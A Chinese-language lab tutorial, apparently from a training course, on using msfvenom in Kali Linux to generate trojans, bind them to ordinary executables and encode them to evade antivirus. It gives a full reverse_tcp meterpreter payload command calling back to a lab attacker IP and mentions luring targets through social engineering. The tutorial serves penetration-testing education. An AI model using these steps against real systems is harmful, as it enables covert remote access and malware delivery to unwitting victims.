实验环境:
Kali Linux
知识点:
msfvenom 如何生成木马 msfvenom 如何捆绑木马到常用软件 msfvenom 如何对木马进行编码免杀
Metasploit介绍
Metasploit是一个可用来发现、验证和利用漏洞的渗透测试平台,目前实验环境中Metasploit的版本是v4.12.23-dev包含了1577个exploits、907个auxiliary、272个post、455个payloads、39个encoders以及8个nops。
其中exploits是漏洞利用模块(也叫渗透攻击模块),auxiliary是辅助模块,post是后渗透攻击模块,payloads是攻击载荷也就是我们常说的shellcode,这里生成的木马其实就是payloads。
在本次试验中我们主要使用的是msfpayload(攻击荷载生成器),msfencoder(编码器)的替代品msfvenom,msfvenom集成了前两者的全部功能,可以生成payload(本节所说的木马)以及对payload编码免杀和避免坏字符、捆绑木马等。在Kali Linux中默认安装了Metasploit framework 我们可以直接使用。
攻击机:Kali Linux 2.0 虚拟机,主机名是 kali,IP 地址为 192.168.122.101,默认用户名和密码为 root/toor。
靶机:Metasploitable2 虚拟机,主机名是 target,IP 地址为 192.168.122.102,默认用户名和密码为 msfadmin/msfadmin。
本次实验我们只用到 Kali linux 虚拟机。
我们先来查看当前环境虚拟机的列表和状态:
因环境中虚拟机太慢,这里采用 docker 容器。进入 kali linux 系统的方式如下:
四、生成木马
在进行木马生成实验之前我们先来学习一下msfvenom命令的用法。在 Kali linux 下输入如下命令,可以看到msfvenom的命令行选项。
./msfvenom -h
五、捆绑木马
通常我们生成了木马之后,要运用社会工程学的攻击方式诱骗目标运行我们的木马程序,否则我们的木马只是玩具罢了。
捆绑木马我们还是使用上面提到的msfvenom命令,只不过这里我们要用到一个新的命令行选项-x。我们来看一下-x选项的用法及含义。
-x选项:允许我们指定一个自定义的可执行文件作为模板,也就是将木马捆绑到这个可执行文件上。
将生成的木马当做常用应用程序来捆绑木马。
虽然我们已经准备好了木马程序,并且也捆绑到了常用的应用程序上,但是现在杀毒软件泛滥,不经过免杀就算成功上传到目标主机,估计还没等运行就被杀掉了。这里用msfvenom生成木马同时对payload编码来实现木马的简单免杀。我们先来学习一下我们要用到的命令选项:
-e选项:用来指定要使用的编码器。 -i选项:用来指定对payload编码的次数。 先来看一下都有哪些编码器可用:
这里我们挑选一个免杀效果比较好的编码器x86/shikata_ga_nai,进行编码:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.122.101 -e x86/shikata_ga_nai -i 5 -f elf -o /root/payload_encoder.elf
总结
从图中我们可以看到完成了对木马的5次编码,这样木马基本上就可以躲避部分杀毒软件的查杀,其实还可以对木马程序进行多次编码,虽然可以提高木马的免杀几率,不过可能会导致木马程序不可用。当然要想免杀效果更好就需要使用Metasploit pro版本或者给木马加壳、修改木马的特征码等等,不过要想躲过全部杀毒软件的查杀则会有些难度,通常会针对某个杀毒软件进行免杀。